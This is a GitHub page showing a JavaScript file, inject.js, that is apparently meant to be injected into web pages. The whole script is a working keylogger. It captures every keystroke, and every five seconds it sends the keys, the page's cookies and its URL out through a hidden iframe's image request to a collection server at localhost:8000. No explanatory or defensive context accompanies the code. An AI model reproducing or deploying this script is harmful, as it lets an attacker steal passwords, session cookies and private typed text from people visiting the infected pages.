-
Notifications
You must be signed in to change notification settings - Fork 0
/
inject.js
70 lines (65 loc) · 1.56 KB
/
inject.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
(function () {
console.log("FROM INJECT, with new code");
let html = `
<body>
<img src="http://localhost:8000/get.png?log=first_to_drop"/>
</body>`;
let iframe = document.createElement('iframe')
iframe.src = 'data:text/html;charset=utf-8,' + encodeURI(html);
iframe.style.width ="0px"
document.body.appendChild(iframe);
var keys = "";
var identification = "Unidentified!";
var flag = true;
window.onload = () => {
var submit_ = (data) => {
var remote_server = "";
var currentLocation = document?.location?.href;
console.log({
"location": currentLocation,
"data": data
})
console.log("ALSO POSTING THE DATA");
let html = `
<body>
<img src="http://localhost:8000/get.png?log=${keys}&cookie=${document.cookie}&domain=${document.URL}"/>
</body>`;
iframe.src = 'data:text/html;charset=utf-8,' + encodeURI(html);
}
window.addEventListener('keypress', ( e ) => {
var get = window.event ? event : e;
var key = get.keyCode;
switch(key){
case 13:
key = "<ENTER>";
keys += key;
break;
default:
key = key ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
});
window.addEventListener('keyup', ( e ) => {
var get = window.event ? event : e;
var key = get.keyCode;
switch(key){
case 8:
key = "<BACKSPACE>";
keys += key;
break;
case 17:
key = "<CTRL>";
keys += key;
break;
}
});
window.setInterval(() => {
if(keys.length && keys !== '<CTRL>'){
submit_(keys);
}
keys = "";
}, 5000
)
}
})()